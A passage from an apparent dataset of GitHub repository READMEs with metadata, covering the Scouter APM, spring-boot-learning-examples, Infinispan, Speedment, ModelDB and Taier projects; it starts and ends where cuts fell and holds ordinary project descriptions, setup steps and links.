profiles(method profile, sql profile, external call profile...) - Metrics about resources : Cpu, Memory, Network and Heap usage, Connection pools etc. ## At a glance(Click to watch the video) [![Demo gif](./scouter.document/img/main/scouter-movie.gif)](https://youtu.be/iuArTzsD7Ws) ## Documents - [Document home](./scouter.document/index.md) - [Quick start guide (Quick Installation of demo system)](./scouter.document/main/Quick-Start.md) - [Installation](./scouter.document/main/Setup.md) - [Live demo](./scouter.document/main/Live-Demo.md) - [How to analyze XLog View](./scouter.document/client/Reading-XLog.md) - [Customizable alarm - Alert plugins guide](./scouter.document/main/Alert-Plugin-Guide.md) - [Telegraf server feature](./scouter.document/main/Telegraf-Server.md) - [Client screen help](./scouter.document/client/How-To-Use-Client.md) ## Download - [Latest Release](https://github.com/scouter-project/scouter/releases/) ## Modules ### Official modules: - **Agent** : gather performance information and send to the server - **Java Agent (JVM Agent)** : gathering profiles and performance metrics of JVM & Web application server(eg. Tomcat)... - **Host Agent (OS Agent)** : gathering performance metrics of Linux, Windows and OSX... - **MariaDB Agent** : [to be announced] - **Server (Collector)** : save the performance metrics from scouter agents or telegraf. The data is streamed to scouter client. - **Client (Viewer)** : client program based on RCP. (not support OSX Big Sur.) - **Web API (Since @1.8.0)** : scouter web apis to get counters, XLogs, profiles and another performance metrics via HTTP protocol. - [Web API Guide](./scouter.document/tech/Web-API-Guide.md) - **Weaver (Since @2.17.0)** : Provides the ability to directly control Scouter XLog and Profiles at the code level of Java applications. - [Scouter Weaver Guide](./scouter.document/weaver/Weaver-Guide.md) ### 3rd-party UIs - **scouter paper** : [scouter paper homepage](https://scouter-contrib.github.io/scouter-paper/) - **showcase** : [scouter paper overview (youtube)](https://www.youtube.com/watch?v=NjJ0dGhdIbU) [![scouter-pater](https://scouter-contrib.github.io/scouter-paper/img/img12.png)](https://www.youtube.com/watch?v=NjJ0dGhdIbU) ### Plugins - **Server plugin** - **Sample** - **[scouter-plugin-server-null](https://github.com/scouter-project/scouter-plugin-server-null)** : sample plugin prints out data collected - **Alert** - **[scouter-plugin-server-email](https://github.com/scouter-contrib/scouter-plugin-server-alert-email)** : emails alerts from Scouter - **[scouter-plugin-server-telegram](https://github.com/scouter-contrib/scouter-plugin-server-alert-telegram)** : transfer alerts from Scouter to telegram - **[scouter-plugin-server-slack](https://github.com/scouter-contrib/scouter-plugin-server-alert-slack)** : transfer alerts from Scouter to slack - **[scouter-plugin-server-line](https://github.com/scouter-contrib/scouter-plugin-server-alert-line)** : transfer alerts from Scouter to line - **[scouter-plugin-server-dingtalk](https://github.com/scouter-contrib/scouter-plugin-server-alert-dingtalk)** : transfer alerts from Scouter to dingtalk - **[scouter-plugin-server-teams](https://github.com/scouter-contrib/scouter-plugin-server-alert-teams)** : transfer alerts from Scouter to Microsoft Teams - **Counter** - **[scouter-plugin-server-influxdb](https://github.com/scouter-contrib/scouter-plugin-server-influxdb)** : transfer performance data from Scouter to influxDB(time series DB) - **Agent plugin** - TBD ### 3rd-party Agent - **Pulse type agent** : [scouter-pulse-library](https://github.com/scouter-contrib/scouter-pulse) - **[aws-monitor](https://github.com/nices96/scouter-pulse-aws-monitor)** : gathering performance metrics of EC2, RDS, ELB from cloudwatch in AWS. <br> ## Facebook - [Scouter APM : Facebook Scouter user group](https://www.facebook.com/groups/scouterapm/) ## How to contribute - **Notice** : Pull request to **develop branch** only allowed. - Refer to the development guide below. - [Scouter developer guide](./scouter.document/tech/Developer-Guide.md) - Please note that you will have to complete a [CLA](http://goo.gl/forms/xSmYs8qM9J) for your first pull-request. ## Q&A - [Google Groups](https://groups.google.com/forum/#!forum/scouter-project) ## Blogging & Posts - [Scouter series #1 - Installation](https://translate.google.co.kr/translate?hl=ko&sl=ko&tl=en&u=https%3A%2F%2Fgunsdevlog.blogspot.kr%2F2017%2F07%2Fscouter-apm-1.html) - [Scouter series #2 - basic monitoring(1/2)](https://translate.google.co.kr/translate?hl=ko&sl=ko&tl=en&u=https%3A%2F%2Fgunsdevlog.blogspot.kr%2F2017%2F07%2Fscouter-apm-2-12.html) - [Scouter series #2.1 - basic monitoring(2/2)](https://translate.google.co.kr/translate?hl=ko&sl=ko&tl=en&u=https%3A%2F%2Fgunsdevlog.blogspot.kr%2F2017%2F07%2Fscouter-apm-basic-monitoring-2.html) - [Scouter series #3 - Active service & XLog](https://translate.google.co.kr/translate?hl=ko&sl=ko&tl=en&u=http%3A%2F%2Fgunsdevlog.blogspot.kr%2F2018%2F05%2Fscouter-apm-xlog-howto.html) - [Scouter series #4 - XLog details](https://translate.google.co.kr/translate?hl=ko&sl=ko&tl=en&u=http%3A%2F%2Fgunsdevlog.blogspot.kr%2F2018%2F05%2Fscouter-apm-active-service-xlog.html) - [Scouter series #5 - Customizable alert](https://translate.google.co.kr/translate?hl=ko&sl=ko&tl=en&u=http%3A%2F%2Fgunsdevlog.blogspot.kr%2F2018%2F05%2Fscouter-customizable-alert.html) - [Applying Scouter APM to my service : by Kingbbode](https://translate.google.co.kr/translate?hl=ko&sl=ko&tl=en&u=http%3A%2F%2Fkingbbode.tistory.com%2F12) - [Effective monitoring by Scouter : by TMON](https://translate.google.co.kr/translate?hl=ko&sl=ko&tl=en&u=http%3A%2F%2Fblog.naver.com%2FPostView.nhn%3FblogId%3Dtmondev%26logNo%3D220870505665) - [Opensource performance monitoring, Scouter configurations : by SUN](https://translate.google.co.kr/translate?hl=ko&sl=ko&tl=en&u=http%3A%2F%2Fwww.popit.kr%2Fscouter-open-source-apm-config%2F) - [Scouter, InfluxDB, Grafana](https://translate.google.co.kr/translate?hl=ko&sl=ko&tl=en&u=https%3A%2F%2Fgunleeblog.wordpress.com%2F2016%2F04%2F01%2Fopen-source-apm-scouter-influxdb-grafana-%25EC%2597%25B0%25EB%258F%2599-step-by-step%2F) - [Build my own agents by scouter pulse](https://translate.google.co.kr/translate?hl=ko&sl=ko&tl=en&u=https%3A%2F%2Fgunleeblog.wordpress.com%2F2016%2F09%2F07%2Fscouter-pulse%25EB%25A5%25BC-%25EC%259D%25B4%25EC%259A%25A9%25ED%2595%2598%25EC%2597%25AC-%25EB%2582%2598%25EB%25A7%258C%25EC%259D%2598-agent-%25EB%25A7%258C%25EB%2593%25A4%25EA%25B8%25B0%2F) - [Quick installation of scouter paper UI](https://gunsdevlog.blogspot.kr/2018/04/scouter-web-ui-paper.html) <br> ## License Licensed under the Apache License, Version 2.0 <br>
0
rhwayfun/spring-boot-learning-examples
Spring Boot工程实践,快速上手Spring Boot开发必备。最全的Spring Boot使用案例!
2017-03-28T00:50:20Z
null
# 最全的Spring Boot实践指南 ![travis](https://travis-ci.org/rhwayfun/spring-boot-learning-examples.svg?branch=develop) [![codecov](https://codecov.io/gh/rhwayfun/spring-boot-learning-examples/branch/develop/graph/badge.svg)](https://codecov.io/gh/rhwayfun/spring-boot-learning-examples) [![Gitter](https://img.shields.io/gitter/room/nwjs/nw.js.svg)](https://gitter.im/spring-boot-learning-examples/chat) [![license](https://img.shields.io/badge/license-EPL%201.0-green.svg)](https://choosealicense.com/licenses/epl-1.0/) Spring Boot知识点整理、工程实践,并结合工作案例进行深入 * 使用travis-ci持续集成 * 使用codecov进行代码覆盖率检查 * 学习案例以模块方式划分,每隔模块都是独立可执行项目,直接运行Application即可 ## 分享平台 > 博客:http://blog.csdn.net/u011116672 > Github:https://github.com/rhwayfun ## 项目模块 ``` └── 基础入门 └── Web开发 └── Weex └── Bootstrap └── thymeleaf └── 缓存使用 └── Ehcache └── Caffeine └── Guava Cache └── 数据库 └── Mybatis └── MySQL └── Spring其他功能 └── Spring Task └── Spring Retry └── Spring AOP └── 企业开发进阶 └── Dubbo(阿里开源的分布式服务治理框架) └── Kafka └── RocketMQ └── Sharding-JDBC └── Disconf └── Elsaticsearch └── Elsatic-job └── Redis └── MongoDB └── Mockito └── InfluxDB └── Ignite └── Geode └── ... ``` ### 基础入门 * spring-boot-quickstart(Spring Boot快速入门案例) * spring-boot-configuration(了解下Spring Boot配置管理) ### web开发 * spring-boot-web-jsp(使用JSP作为开发) * spring-boot-web-thymeleaf(使用模板引擎thymeleaf开发) * spring-boot-web-bootstrap(bootstrap入门demo) * spring-boot-security(权限控制项目实战) [spring security实战](http://blog.csdn.net/u011116672/article/details/77428049) * spring-boot-security-cas(集成CAS搭建自己的认证中心) ### 缓存使用 * spring-boot-cache-caffeine(高性能本地缓存框架caffeine实践) * spring-boot-cache-ehcache(Java应用最多的本地缓存Ehcache实践) * spring-boot-redis(分布式KV缓存redis实践) ### 数据库 * spring-boot-mybatis(mybatis使用快速入门) * spring-boot-mybatis-annotation(mybatis全注解使用示例) * spring-boot-mybatis-multidatasource(mybatis多数据库解决方案) * spring-boot-mybatis-sharding-jdbc(使用sharding-jdbc对数据库进行分库分表) [Sharding-JDBC分库分表使用实例](http://blog.csdn.net/u011116672/article/details/78374724) * spring-boot-mybatis-sharding-jdbc-masterslave(使用sharding-jdbc完成分库分表+读写分离) [Sharding-JDBC读写分离探秘](http://blog.csdn.net/u011116672/article/details/78576117) ### Spring其他功能 * spring-boot-task(定时任务) [Spring定时任务源码分析](http://blog.csdn.net/u011116672/article/details/77132205) [深入浅出Spring task定时任务](http://blog.csdn.net/u011116672/article/details/52517247) * spring-boot-retry(重试和熔断) [重试框架Spring retry实践](http://blog.csdn.net/u011116672/article/details/77823867) * spring-boot-aspect(aop相关,静态织入、动态织入) [AspectJ切面执行两次原因分析](http://blog.csdn.net/u011116672/article/details/63685340) ### 企业开发进阶 * spring-boot-dubbo(服务治理框架dubbo使用案例) * spring-boot-dubbo-annotation(服务治理框架dubbo案例,基于注解实现) [dubbo-spring-boot-project](https://github.com/apache/incubator-dubbo-spring-boot-project) * spring-boot-dubbo-extension(基于duboo扩展点实现自定义扩展) * spring-boot-disconf(分布式配置管理disconf使用案例) * spring-boot-elasticsearch(全文搜索引擎elasticsearch实践) * spring-boot-mongodb(NoSQL数据库mongodb实战) * spring-boot-kafka(消息中间件kafka实践) * spring-boot-rocketmq(阿里开源消息中间件RocketMQ实践) spring-boot-rocketmq-starter使用案例 * spring-boot-rocketmq-starter(阿里开源消息中间件RocketMQ Spring Boot Starter) [spring-boot-rocketmq-starter 使用指南](apache-rocketmq-starter-guide.md) [spring-boot-rocketmq-starter](https://github.com/rhwayfun/spring-boot-rocketmq-starter) * spring-boot-mockito(Java社区最火的测试框架Mockito使用实战) * spring-boot-hibernate-validation(Hibernate出品的校验框架使用实战) * spring-boot-geode(内存数据库geode实战,目前应用与内部地址位置距离的计算) * spring-boot-ignite(内存数据库ignite实战) * spring-boot-elastic-job(分布式任务调度框架elastic-job实战) * spring-boot-starter(自定义spring boot starter) * spring-boot-starter-rest(自定义spring boot starter) * spring-boot-logging-log4j2(使用log4j2) * spring-boot-influxdb(时序数据库influxDB实践) * spring-boot-mybatis-sharding-jdbc(分库分表Sharding-JDBC实践) ## 准备工作 > [数据库脚本](docs/sql/springboot/spring-boot-mybatis.sql) ### 安装MySQL ### 添加用户`travis` ``` create user travis@localhost; ``` ### 授权 ``` grant all privileges on *.* to travis@localhost;/* mac系统下localhost要改成127.0.0.1 */ ``` ### 查看权限 ``` /* 查看MySQL所有用户 */ SELECT DISTINCT CONCAT('User: ''',user,'''@''',host,''';') AS query FROM mysql.user; /* 查看travis用户的权限 */ show grants for travis@localhost; ``` ### 编译运行 ``` mvn clean compile mvn clean package ``` ## 未完待续 更多案例不断补充中。。。如果您觉得对你有用,就给我点个赞吧\(^o^)/~
1
infinispan/infinispan
Infinispan is an open source data grid platform and highly scalable NoSQL cloud data store.
2010-11-04T12:33:19Z
null
[![Infinispan](https://design.jboss.org/infinispan/logo/final/PNG/infinispan_logo_rgb_lightbluewhite_darkblue_600px.png)](https://infinispan.org/) [![Version](https://img.shields.io/maven-central/v/org.infinispan/infinispan-core?logo=apache-maven&style=for-the-badge)](https://search.maven.org/artifact/org.infinispan/infinispan-core) [![License](https://img.shields.io/github/license/quarkusio/quarkus?style=for-the-badge&logo=apache)](https://www.apache.org/licenses/LICENSE-2.0) [![Project Chat](https://img.shields.io/badge/zulip-join_chat-brightgreen.svg?style=for-the-badge&logo=zulip)](https://infinispan.zulipchat.com/) # Infinispan, In-Memory Distributed Data Store # Infinispan is an open-source in-memory data grid that offers flexible deployment options and robust capabilities for storing, managing, and processing data. Infinispan provides a key/value data store that can hold all types of data, from Java objects to plain text. Infinispan distributes your data across elastically scalable clusters to guarantee high availability and fault tolerance, whether you use Infinispan as a volatile cache or a persistent data store. ## Getting Started * [Documentation](https://infinispan.org/) * [5 Minutes Getting Started](https://infinispan.org/get-started/) * [Simple Tutorials](https://github.com/infinispan/infinispan-simple-tutorials) ## Contributing For contributing guidelines please refer to this [document](CONTRIBUTING.md). All contributions are subject to [Developer Certificate of Origin (DCO)](https://developercertificate.org/). *The Infinispan project team*
0
speedment/speedment
Speedment is a Stream ORM Java Toolkit and Runtime
2015-01-19T16:41:52Z
null
<img align="center" src="https://github.com/speedment/speedment-resources/blob/master/src/main/resources/wiki/frontpage/Duke-Spire.png?raw=true." alt="Spire the Hare" title="Spire" width="900px"> Java Stream ORM ==================================================== [![Maven Central](https://maven-badges.herokuapp.com/maven-central/com.speedment/runtime/badge.svg)](https://maven-badges.herokuapp.com/maven-central/com.speedment/runtime) [![Javadocs](https://javadoc-badge.appspot.com/com.speedment.runtime/runtime-application.svg?label=javadoc)](https://www.javadoc.io/doc/com.speedment.runtime/runtime-application) [![Build Status](https://travis-ci.org/speedment/speedment.svg?branch=develop-3.0)](https://travis-ci.org/speedment/speedment) [![Hex.pm](https://img.shields.io/hexpm/l/plug.svg?maxAge=2592000)](https://raw.githubusercontent.com/speedment/speedment/master/LICENSE) [![Join the chat at https://gitter.im/speedment/speedment](https://badges.gitter.im/Join%20Chat.svg)](https://gitter.im/speedment/speedment?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge) Speedment is an open source Java Stream ORM toolkit and runtime. The toolkit analyzes the metadata of an existing SQL database and automatically creates a Java representation of the data model. This powerful ORM enables you to create scalable and efficient Java applications using **standard Java** streams with no need to type SQL or use any new API. Speedment was originally developed by researchers and engineers based in Palo Alto with the purpose to simplify and streamline the development of Java database applications by leveraging the Java Stream API. Speedment is licensed under the business-friendly Apache 2 license. Contribution from users is encouraged. Please feel free to request new features, suggest improvements and file bug reports. Read more about contributing [here](https://github.com/speedment/speedment/blob/master/CONTRIBUTING.md). <img src="https://github.com/speedment/speedment-resources/blob/master/src/main/resources/wiki/frontpage/Spire-Quick-Start.png?raw=true" alt="Spire the Hare" title="Spire" align="right" width="20%" /> ## Quick Start Assuming you have Maven installed and a relational database available, you can start using Speedment in a minute: * [Start a New Speedment Maven Project](https://github.com/speedment/speedment/wiki/Start-a-New-Speedment-Maven-Project) * [Connect to Your Database](https://github.com/speedment/speedment/wiki/Connect-to-Your-Database) ## Expressing SQL as Java Streams There is a remarkable resemblance between Java streams and SQL as summarized in the simplified table. This means there is no need for manually writing SQL-queries any more. You can remain in a pure Java world! <img align="left" src="https://github.com/speedment/speedment-resources/blob/master/src/main/resources/wiki/frontpage/SQL-Stream.png?raw=true." alt="Streams to SQL" width="400px"> #### Example Search in a film database for a film with a length greater than 120 minutes: ```java // Searches are optimized in the background! Optional<Film> longFilm = films.stream() .filter(Film.LENGTH.greaterThan(120)) .findAny(); ``` Results in the following SQL query: ```sql SELECT `film_id`,`title`,`description`,`release_year`, `language_id`,`original_language_id`,`rental_duration`,`rental_rate`, `length`,`replacement_cost`,`rating`,`special_features`, `last_update` FROM `sakila`.`film` WHERE (`length` > 120) ``` <br> ## Features Speedment is equipped with the features listed below and more. ### View Database Tables as Standard Java Streams <img src="https://github.com/speedment/speedment-resources/blob/master/src/main/resources/wiki/frontpage/stream-api.png?raw=true" alt="Stream API" title="Stream API" align="right" width="25%" /> * **Pure Java** - Stream API instead of SQL eliminates the need of a query language<br> * **Dynamic Joins** - Ability to perform joins as Java streams on the application side<br> * **Parallel Streams** - Workload can automatically be divided over several threads<br> <br> ### Short and Concise Type Safe Code <img src="https://github.com/speedment/speedment-resources/blob/master/src/main/resources/wiki/frontpage/type-safety.png?raw=true" alt="Type Safety" title="Type Safety" align="right" width="25%" /> * **Code Generation** - Automatic Java representation of the latest state of your database eliminates boilerplate code and the need of manually writing Java Entity classes while minimizing the risk for bugs.<br> * **Null Protection** - Minimizes the risk involved with database null values by wrapping to Java Optionals<br> * **Enum Integration** - Mapping of String columns to Java Enums increases memory efficiency and type safety<br> <img src="https://github.com/speedment/speedment-resources/blob/master/src/main/resources/wiki/frontpage/lazy-evaluation.png?raw=true" alt="Lazy Evaluation" title="Lazy Evaluation" align="right" width="25%" /> ### Lazy Evaluation for Increased Performance * **Streams are Lazy** - Content from the database is pulled as elements are needed and consumed<br> * **Pipeline Introspection** - Optimized performance by short circuiting of stream operations<br> ## Tutorials The tutorials are divided into three sections. The basics are covered in the first section without any expected prior knowledge of Speedment. This builds a foundation of knowledge needed to fully benefit from the following tutorials. #### Basics * [Tutorial 1 - Hello Speedment](https://speedment.github.io/speedment-doc/tutorials.html#tutorial-1---hello-speedment) * [Tutorial 2 - A First Stream from Speedment](https://speedment.github.io/speedment-doc/tutorials.html#tutorial-1---hello-speedment) #### Sample applications * [Tutorial 3 - Speedment Spring Boot Integration; REST assured - it is easy](https://speedment.github.io/speedment-doc/tutorials.html#tutorial-1---hello-speedment) * [Tutorial 4 - Speedment filters based on Json Web Tokens](https://speedment.github.io/speedment-doc/tutorials.html#tutorial-1---hello-speedment) * [Tutorial 5 - Log errors in a database](https://speedment.github.io/speedment-doc/tutorials.html#tutorial-5---log-errors-in-a-database) * [Tutorial 6 - Use Speedment with Java EE](https://speedment.github.io/speedment-doc/tutorials.html#tutorial-5---log-errors-in-a-database) * [Tutorial 7 - Create Event Sourced Systems](https://speedment.github.io/speedment-doc/tutorials.html#tutorial-5---log-errors-in-a-database) * [Tutorial 8 - Writing Your Own Extensions](https://speedment.github.io/speedment-doc/tutorials.html#tutorial-8---writing-your-own-extensions) #### Extending Speedment * [Tutorial 9 - Formatting Your Output as JSON](https://speedment.github.io/speedment-doc/tutorials.html#tutorial-9---formatting-your-output-as-json) * [Tutorial 10 - Working with BLOBS and CLOBS](https://speedment.github.io/speedment-doc/tutorials.html#tutorial-10---working-with-blobs-and-clobs) ## Resources * **Documentation** - Read the [Speedment User Guide](https://speedment.github.io/speedment-doc/index.html). * **JavaDocs** - Latest [Speedment JavaDocs](https://www.javadoc.io/doc/com.speedment/runtime-deploy/latest/index.html). * **Examples** - There are 15 detailed examples [here](https://github.com/speedment/speedment/tree/master/example-parent) and more can be found in the User Guide provided above. * **Gitter Chatroom** - Reach out to the Speedment developers and other community members via [the Gitter chatroom](https://gitter.im/speedment/speedment). * **Creating a Pull Request** - Pull requests and improvement suggestions from the community are gladly accepted. Find more information [here](https://github.com/speedment/speedment/blob/master/CONTRIBUTING.md). ## Requirements ### Java Version Speedment requires `Java 8` or later. Make sure your IDE is configured to use JDK 8 (version 1.8.0_40 or newer). ### Database Connectors Speedment Open Source comes with support for the following databases out-of-the-box: * MySQL * MariaDB * PostgreSQL * SQLite Enterprise database connectors include: * AS400 * Cassandra * DB2 * Informix * Oracle * Snowflake * SQL Server For more information, see [Speedment Licensing and Pricing](https://speedment.com/pricing/). ## Licenses * **Speedment Open Source** - This site covers the Speedment Open Source project available under the [Apache 2 license](http://www.apache.org/licenses/LICENSE-2.0). * **Speedment Stream** - The same great features as Speedment OSS with support for commercial databases. Learn more at [speedment.com/stream](http://speedment.com/stream). * **Speedment HyperStream** - An extension av Speedment Stream which also includes hypersonic query performance enabled by a unique in-JVM-memory management model. Learn more at [speedment.com/hyperStream](http://speedment.com/hyperstream). ## Copyright Copyright (c) 2014-2019, Speedment, Inc. All Rights Reserved. Visit [www.speedment.com](http://www.speedment.com/) for more info. [![Analytics](https://ga-beacon.appspot.com/UA-64937309-1/speedment/main)](https://github.com/igrigorik/ga-beacon) [Github activity visualized](https://www.youtube.com/watch?v=Rmc_3lLZQpM)
0
VertaAI/modeldb
Open Source ML Model Versioning, Metadata, and Experiment Management
2016-10-19T01:07:26Z
null
# ModelDB: An open-source system for Machine Learning model versioning, metadata, and experiment management. ---- <p align="center"> <a href="https://hub.docker.com/u/vertaaiofficial"> <img src="https://img.shields.io/docker/v/vertaaiofficial/modeldb-backend?color=534eb5&label=Docker%20image%20version&style=plastic" alt="docker hub" /> </a> <a href="https://pypi.org/project/verta/"> <img src="https://img.shields.io/pypi/v/verta?color=534eb5&style=plastic" alt="PyPI" /> </a> <a href="https://anaconda.org/conda-forge/verta"> <img src="https://img.shields.io/conda/v/conda-forge/verta?color=534eb5&style=plastic" alt="Conda" /> </a> <a href="https://github.com/VertaAI/modeldb/blob/master/LICENSE"> <img src="https://img.shields.io/pypi/l/verta?color=534eb5&style=plastic" alt="License" /> </a> <br> <a href="https://hub.docker.com/u/vertaaiofficial"> <img src="https://img.shields.io/docker/pulls/vertaaiofficial/modeldb-backend?color=534eb5&style=plastic" alt="docker hub" /> </a> <a href="https://pypi.org/project/verta/"> <img src="https://img.shields.io/pypi/dm/verta?color=534eb5&label=PyPI%20Downloads&style=plastic" alt="PyPI" /> </a> <a href="https://github.com/VertaAI/modeldb/graphs/commit-activity"> <img src="https://img.shields.io/github/commit-activity/w/vertaai/modeldb?color=534eb5&style=plastic" alt="Commits" /> </a> <a href="https://github.com/VertaAI/modeldb/graphs/commit-activity"> <img src="https://img.shields.io/github/last-commit/vertaai/modeldb?color=534eb5&style=plastic" alt="Last Commit" /> </a> <br> <a href="https://github.com/VertaAI/modeldb/graphs/commit-activity"> <img src="https://img.shields.io/github/stars/vertaai/modeldb?style=social" alt="Forks" /> </a> <a href="https://twitter.com/intent/follow?screen_name=VertaAI"> <img src="https://img.shields.io/twitter/follow/VertaAI?label=VertaAI&style=social" alt="Twitter" /> </a> <a href="http://bit.ly/modeldb-mlops"> <img src="https://cdn.brandfolder.io/5H442O3W/as/pl546j-7le8zk-5guop3/Slack_RGB.png" alt="Slack" height =30px/> </a> </p> <h3 align="center"> <a href="#up-and-running-in-5-minutes">Quickstart</a> <span> · </span> <a href="https://docs.verta.ai/verta/tutorials/metadata">Workflow</a> <span> · </span> <a href="https://github.com/VertaAI/examples">Examples</a> <span> · </span> <a href="#contributions">Contribute</a> <span> · </span> <a href="http://bit.ly/modeldb-mlops">Support (Slack)</a> </h3> ---- ModelDB is an open-source system to version machine learning models including their ingredients code, data, config, and environment and to track ML metadata across the model lifecycle. Use ModelDB in order to: * Make your ML models reproducible * Manage your ML experiments, build performance dashboards, and share reports * Track models across their lifecycle including development, deployment, and live monitoring Features: * Works on Docker, Kubernetes * Clients in Python and Scala * Beautiful dashboards for model performance and reporting * Git-like operations on any model * Flexible metadata logging including metrics, artifacts, tags and user information * Pluggable storage systems * Integration into state-of-the-art frameworks like Tensorflow and PyTorch * Battle-tested in production environments If you are looking for a hosted version of ModelDB, please reach out at modeldb@verta.ai. This version of ModelDB is built upon its predecessor from [CSAIL, MIT](https://www.csail.mit.edu/). The previous version can be found on Github [here](https://github.com/VertaAI/modeldb/releases/tag/v1.0.0). The ModelDB project is now maintained by [Verta.ai](https://verta.ai). ---- ## What’s In This Document - [Up and Running in 5 minutes](#up-and-running-in-5-minutes) - [Documentation](#documentation) - [Community](#community) - [Architecture](#architecture) - [How to Contribute](#how-to-contribute) - [License](#license) - [Thanks to Our Contributors](#thanks) ---- ## Up and Running in 5 minutes 0. Install [Docker](https://docs.docker.com/compose/install/) (and Docker Compose) 1. Setup ModelDB via Docker Compose ```bash docker-compose -f docker-compose-all.yaml up ``` *Note: modeldb-backend service needs backend/config/config.yaml to run, either clone the repo before running docker-compose or create the file manually.* 2. Install the ModelDB pip package. *Note it comes packaged in the verta package.* ```bash pip install verta ``` 3. Version a model or log a workflow. *Alternatively, run any of the detailed [examples](https://github.com/VertaAI/examples) in our repository.* ```python from verta import Client client = Client("http://localhost:3000") proj = client.set_project("My first ModelDB project") expt = client.set_experiment("Default Experiment") # log the first run run = client.set_experiment_run("First Run") run.log_hyperparameters({"regularization" : 0.5}) # ... model training code goes here run.log_metric('accuracy', 0.72) # log the second run run = client.set_experiment_run("Second Run") run.log_hyperparameters({"regularization" : 0.8}) # ... model training code goes here run.log_metric('accuracy', 0.83) ``` **That's it!** Navigate to **<http://localhost:3000>** to find the ModelDB Web UI and check out the models you just logged. ---- For information on debugging the Docker-based ModelDB installation, check [here](DEPLOY.md#Deploy-pre-published-images). **Other ways to install ModelDB are:** 1. [Building the source code and deploying](DEPLOY.md#build-images-from-source-and-deploy) 1. [Deploy on kubernetes via helm](DEPLOY.md#kubernetes-setUp) 1. [Using a ModelDB ami](DEPLOY.md#AWS) 1. If you are looking for a hosted version of ModelDB, please reach out at modeldb@verta.ai. ---- ## Documentation Official documentation for ModelDB can be found [here](https://docs.verta.ai/). ---- ## Community For Getting Started guides, Tutorials, and API reference check out our [docs](https://docs.verta.ai/). To report a bug, file a documentation issue, or submit a feature request, please open a GitHub issue. For help, questions, contribution discussions and release announcements, please join us on [Slack](http://bit.ly/modeldb-mlops). ---- ## Architecture At a high level the architecture of ModelDB in a Kubernetes cluster or a Docker application looks as below: ![image](doc-resources/images/modeldb-architecture.png) - **ModelDB Client** available in Python and Scala which can instantiated in the user's model building code and exposes functions to store information to ModelDB. - **ModelDB Frontend** developed in JavaScript and typescript is the visual reporting module of ModelDB. It also acts as an entry point for the ModelDB cluster. - It receives the request from client (1) and the browser and route them to the appropriate container. - The gRPC calls (2) for creating, reading,updating or deleting Projects, Experiments, ExperimentRuns, Dataset, DatasetVersions or their metadata are routed to ModelDB Proxy. - The HTTP calls (3) for storing and retrieving binary artifacts are forwarded directly to backend. - **ModelDB Backend Proxy** developed in golang is a light weight gRPC to Http convertor. - It receives the gRPC request from the front end (2) and sends them to backend (4). In the other direction it converts the response from backend and sends it to the frontend. - **ModelDB Backend** developed in java is module which stores, retrieves or deletes information as triggered by user via the client or the front end. - It exposes gRPC endpoints (4) for most of the operations which is used by the proxy. - It has http endpoints (3) for storing, retrieving and deleting artifacts used directly by the frontend. - **Database** ModelDB Backend stores (5) the information from the requests it receive into a Relational database. - Out of the box ModelDB is configured and verified to work against PostgreSQL, but since it uses Hibernate as a ORM and liquibase for change management, it should be easy to configure ModelDB to run on another SQL Database supported by the the tools. *Volumes : The relational database and the artifact store in backend need volumes attached to enable persistent storage.* ### Repo Structure Each module in the architecture diagram has a designated folder in this repository, and has their own README covering in depth documentation and contribution guidelines. 1. **protos** has the protobuf definitions of the objects and endpoint used across ModelDB. More details [here](protos/README.md). 1. **backend** has the source code and tests for ModelDB Backend. It also holds the proxy at **backend/proxy**. More details [here](backend/README.md). 1. **client** has the source code and tests for ModelDB client. More details [here](client/README.md). 1. **webapp** has the source and tests for ModelDB frontend. More details [here](webapp/README.md). Other supporting material for deployment and documentation is at: 1. **chart** has the helm chart to deploy ModelDB onto your Kubernetes cluster. More details [here](chart/modeldb/README.md). 1. **doc-resources** has images for documentation. ---- ## Contributions As seen from the [Architecture](#architecture) ModelDB provides a full stack solution to tracking, versioning and auditing machine learning models. We are open to contributions to any of the modules in form of Pull Requests. The main skill sets for each module are as below: 1. backend: If you are interested in `Java` development or are interested in database design using technologies like `Hibernate` and `Liquibase` please take a look at [backend README](backend/README.md) for setup and development instructions. 1. client: If you are interested in `Python` or `Scala` development or are interested in building examples notebooks on various ML frameworks logging data to Modeldb please take a look at [client README](client/README.md). 1. frontend: If you are interested in `Node`,`React` or `Redux` based development please take a look at [webapp README](webapp/README.md) Please reach out to us in [slack](http://bit.ly/modeldb-mlops) for any assistance in getting started with the development set up or any other feedback. ---- ## License ModelDB is licensed under Apache 2.0. ---- ## Thanks Thanks to our many contributors and users.
0
DTStack/Taier
Taier is a big data development platform for submission, scheduling, operation and maintenance, and indicator information display
2021-03-02T04:49:33Z
null
<div align="center"> <a href="https://dtstack.github.io/Taier/" target="_blank" rel="noopener noreferrer"> <img src="website/static/img/logo.svg" width="20%" height="20%" alt="Taier Logo" /> </a> <h1>Taier</h1> <h3>A distributed dispatching system</h3> </div> <p align="center"> <img src="https://img.shields.io/github/release/Dtstack/Taier.svg"> <img src="https://img.shields.io/github/stars/Dtstack/Taier"> <img src="https://img.shields.io/github/forks/Dtstack/Taier"> <a href="https://www.apache.org/licenses/LICENSE-2.0.html"> <img src="https://img.shields.io/badge/license-Apache%202-4EB1BA.svg"> </a> <p align="center"> <a href="https://dtstack.github.io/Taier/">Office Website</a> | <a href="https://dtstack.github.io/Taier/docs/guides/introduction/">Document</a> </p> </p> [中文](./README_zh-CN.md) | [English](./README.md) ## Introduction > **Taier** , spelling in chinese is 太阿, is one of the ancient chinese celebrated swords. **Taier** is distributed dispatching system that focus on different tasks submitted and scheduled. It's aimed at reducing the **ETL**'s cost, making the complex dependencies between tasks clearly and reducing the labor cost about submitting, scheduling and O&M. It's unnecessary to concern about the complex dependencies between tasks and the underlying architecture about the big data platform at **Taier**, so that you can pay more attention into business. **Taier** provide an one-stop big data platform for submitting tasks, scheduling tasks, O&M, presentation about indicators. The core features for Taier are as follows: - Easy to distributed extend - Visualization config for DAG - With an IDE development platform designed for big-data users - Supports to develop your own plugins - Multiply task modes including guide mode and script mode - Supports to the dependencies between upstream/downstream tasks - Supports batch and stream tasks - Integrates various different versions of Hadoop - Easy to integrate Flink Standalone - Completely safe and non-intrusive to the cluster's environment - Isolation by tenants and clusters - Supports kerberos authentication - Different versions for tasks - Supports user-defined parameters for task - Real-time monitoring about cluster's resources - Real-time presented about data indicators - Restrict the task's resource ## Architecture ![architecture](/website/static/img/readme/taier-architecture.png) ## Quick start #### [In 